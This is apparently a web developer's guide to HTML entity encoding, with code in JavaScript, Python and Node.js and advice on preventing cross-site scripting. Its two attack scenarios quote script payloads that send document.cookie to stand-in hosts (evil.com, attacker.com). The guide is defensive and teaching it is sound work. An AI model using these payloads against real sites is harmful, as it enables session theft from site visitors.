Skip to main content
← All Articles ยท ยท 7 min read

HTML Entity Encoder/Decoder: Complete Guide for Web Developers

Master HTML entity encoding and decoding: when to use it, XSS prevention, and code examples in JavaScript, Python, and Node.js with a free online tool.

htmlencodingsecurityweb-developmentxssdeveloper-tools

HTML Entity Encoder/Decoder: Complete Guide for Web Developers

HTML entities are special codes that represent characters with special meaning in HTML โ€” like <, >, &, and ". Encoding them correctly is essential for both correctness and security.

Try the DevPlaybook HTML Entity Encoder โ†’

What Are HTML Entities?

HTML entities are string representations of characters that would otherwise be interpreted as HTML markup. They start with & and end with ;.

<!-- Without encoding โ€” browser parses as HTML tag -->
<p>The formula is: a < b && b > c</p>  <!-- Broken! -->

<!-- With encoding โ€” renders correctly -->
<p>The formula is: a &lt; b &amp;&amp; b &gt; c</p>

Common HTML Entities Reference

CharacterEntity NameEntity NumberUse Case
<&lt;&#60;Less-than sign, opening tag
>&gt;&#62;Greater-than sign, closing tag
&&amp;&#38;Ampersand
"&quot;&#34;Double quote in attribute values
'&apos;&#39;Single quote / apostrophe
&nbsp;&#160;Non-breaking space
ยฉ&copy;&#169;Copyright symbol
ยฎ&reg;&#174;Registered trademark
โ„ข&trade;&#8482;Trademark symbol
โ‚ฌ&euro;&#8364;Euro sign
โ†’&rarr;&#8594;Right arrow
โ€”&mdash;&#8212;Em dash

When to Encode HTML

User-generated content: Any text from users (comments, names, bios) must be HTML-encoded before inserting into the DOM. Failing to do this opens you up to XSS (Cross-Site Scripting) attacks.

Dynamic content in templates: When inserting dynamic values into HTML templates, always encode unless you explicitly want to allow HTML markup.

Code examples in documentation: Showing code samples with <, >, or & characters in HTML requires entity encoding.

Emails (HTML): HTML emails should encode special characters in content to avoid rendering issues across email clients.

HTML Encoding in JavaScript

// Encode HTML โ€” safe for inserting untrusted content
function encodeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;  // Automatically encodes
  return div.innerHTML;
}

// Or manually:
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

// Usage
const userInput = '<script>alert("xss")</script>';
const safe = escapeHTML(userInput);
document.getElementById('output').innerHTML = safe;
// Displays literal text, doesn't execute script

Decoding HTML Entities in JavaScript

function decodeHTML(str) {
  const div = document.createElement('div');
  div.innerHTML = str;
  return div.textContent || div.innerText;
}

decodeHTML('&lt;b&gt;Bold&lt;/b&gt;');
// Returns: '<b>Bold</b>'

HTML Encoding in Python

import html

# Encode
text = '<script>alert("xss")</script>'
safe = html.escape(text)
print(safe)
# &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;

# Encode with quote=False (doesn't escape quotes โ€” use in text nodes only)
html.escape(text, quote=False)

# Decode
encoded = '&lt;b&gt;Hello &amp; world&lt;/b&gt;'
decoded = html.unescape(encoded)
print(decoded)
# <b>Hello & world</b>

HTML Encoding in Node.js

// Using the 'he' library (highly recommended)
// npm install he

const he = require('he');

// Encode
he.encode('<p>Hello & "world"</p>');
// '&lt;p&gt;Hello &amp; &quot;world&quot;&lt;/p&gt;'

// Decode
he.decode('&lt;p&gt;Hello&lt;/p&gt;');
// '<p>Hello</p>'

// The 'he' library handles all named + numeric entities correctly

Security: HTML Encoding and XSS Prevention

HTML encoding is your first line of defense against Cross-Site Scripting (XSS) attacks.

Stored XSS scenario:

1. Attacker submits: <script>fetch('https://evil.com?cookie='+document.cookie)</script>
2. App stores raw text in database
3. App renders without encoding: innerHTML = rawValue
4. Every user who views the page runs the attacker's script

Prevention:

// UNSAFE โ€” direct innerHTML with user content
element.innerHTML = userComment;  // โŒ XSS vulnerability

// SAFE โ€” textContent or encoded innerHTML
element.textContent = userComment;  // โœ… Auto-encodes
element.innerHTML = escapeHTML(userComment);  // โœ… Manually encoded

Reactโ€™s automatic escaping: React JSX escapes all values by default, so <p>{userInput}</p> is safe. The dangerouslySetInnerHTML prop bypasses this โ€” use it only with sanitized content.

Numeric vs Named Entities

HTML supports two entity formats:

<!-- Named entity (more readable) -->
&copy; &lt; &amp;

<!-- Numeric decimal entity -->
&#169; &#60; &#38;

<!-- Numeric hexadecimal entity -->
&#xA9; &#x3C; &#x26;

All three represent the same characters. Named entities are preferred for readability. Numeric entities work for any Unicode character.

When to Use &nbsp;

&nbsp; (non-breaking space) prevents a line break between two words. Use it sparingly:

<!-- Keep "10 AM" from breaking across lines -->
Meeting at 10&nbsp;AM

<!-- Keep a number and its unit together -->
Distance: 42&nbsp;km

<!-- Avoid using for layout spacing โ€” use CSS padding/margin instead -->

Tools for HTML Entity Encoding

Browser-based: DevPlaybook HTML Entity Encoder โ€” paste text and get encoded output instantly.

CLI:

# Python one-liner
python3 -c "import html, sys; print(html.escape(sys.stdin.read()))"

# Pipe file content
cat input.txt | python3 -c "import html, sys; print(html.escape(sys.stdin.read()))"

npm package:

npm install -g he
echo '<b>Hello</b>' | he --encode

Real-World Scenario

A developer building a community forum feature needs to display user-submitted posts on a page. The posts can contain any text โ€” usernames, code snippets, math notation, even intentional HTML. Without proper encoding, a user who submits the text <script>document.location='https://attacker.com?q='+document.cookie</script> as their post body will have that script execute in every visitorโ€™s browser the moment the page loads. This is a stored XSS attack, and itโ€™s one of the most common web vulnerabilities precisely because itโ€™s easy to forget.

The fix is straightforward but must be applied at every insertion point. In React, {userPost} in JSX is safe because React encodes it automatically โ€” but <div dangerouslySetInnerHTML={{ __html: userPost }} /> is not. In a templating engine like Jinja2 or Handlebars, {{ post }} is auto-escaped by default, but {{{ post }}} (triple braces in Handlebars) or {{ post | safe }} in Jinja bypasses that protection. Knowing exactly when your framework stops protecting you is as important as knowing how to encode manually.

A second common scenario is writing documentation or technical blog posts. You want to show the reader a literal <div> or an HTML attribute like onClick="..." as visible text on the page, not as executed markup. Any content management system that renders HTML will interpret those angle brackets unless theyโ€™re entity-encoded. Running your code examples through an HTML entity encoder before pasting into a WYSIWYG editor, or understanding that your Markdown processor handles this automatically in fenced code blocks, saves time debugging invisible rendering failures.


Quick Tips

  1. Never use innerHTML with untrusted data. Assign user-provided text with element.textContent instead โ€” the browser handles encoding automatically. Reserve innerHTML for content you have sanitized with a library like DOMPurify.

  2. Encode in the right context. HTML entity encoding (&lt;, &amp;) is correct for HTML content and attributes. For URLs, use encodeURIComponent(). For JavaScript string literals, use JSON encoding. Using HTML encoding inside a <script> block or URL context will not prevent injection โ€” each context has its own encoding rules.

  3. Use he in Node.js instead of rolling your own. The he npm package handles all named entities, numeric entities, and edge cases in the HTML5 spec. A manual replace() chain will miss character combinations that the spec defines as valid entity sequences.

  4. Quote all HTML attributes, always. An unquoted attribute like <div class=user-value> becomes an XSS vector if user-value contains a space followed by onclick=.... Quoting attributes (class="user-value") and encoding the value inside them eliminates this attack surface.

  5. Audit uses of dangerouslySetInnerHTML in React codebases. Search your entire codebase for this prop โ€” each occurrence is a potential XSS point. Any of them that accept data from a user, an API, or a database must sanitize the HTML with DOMPurify before rendering.


Conclusion

HTML entity encoding is fundamental to web security and correctness. Always encode user-generated content before inserting it into HTML. Use a JSON-aware approach when encoding is needed programmatically, and rely on framework-level escaping (React, Vue, Angular) whenever possible.

Encode HTML Entities Online โ†’

Free Download

50 CLI Commands That Save Hours Every Week

The exact Git shortcuts, file search tricks, Docker commands, and productivity hacks that senior developers use daily. Compiled from 5+ years of shipping production code.

  • Git mastery (10 cmds)
  • File & search wizardry
  • Docker & DevOps tricks
  • Process & network tools
  • Productivity boosters
  • macOS & Linux install guide

No spam. 1 email/week max. Unsubscribe anytime.

Found this guide useful? Check out our free developer tools.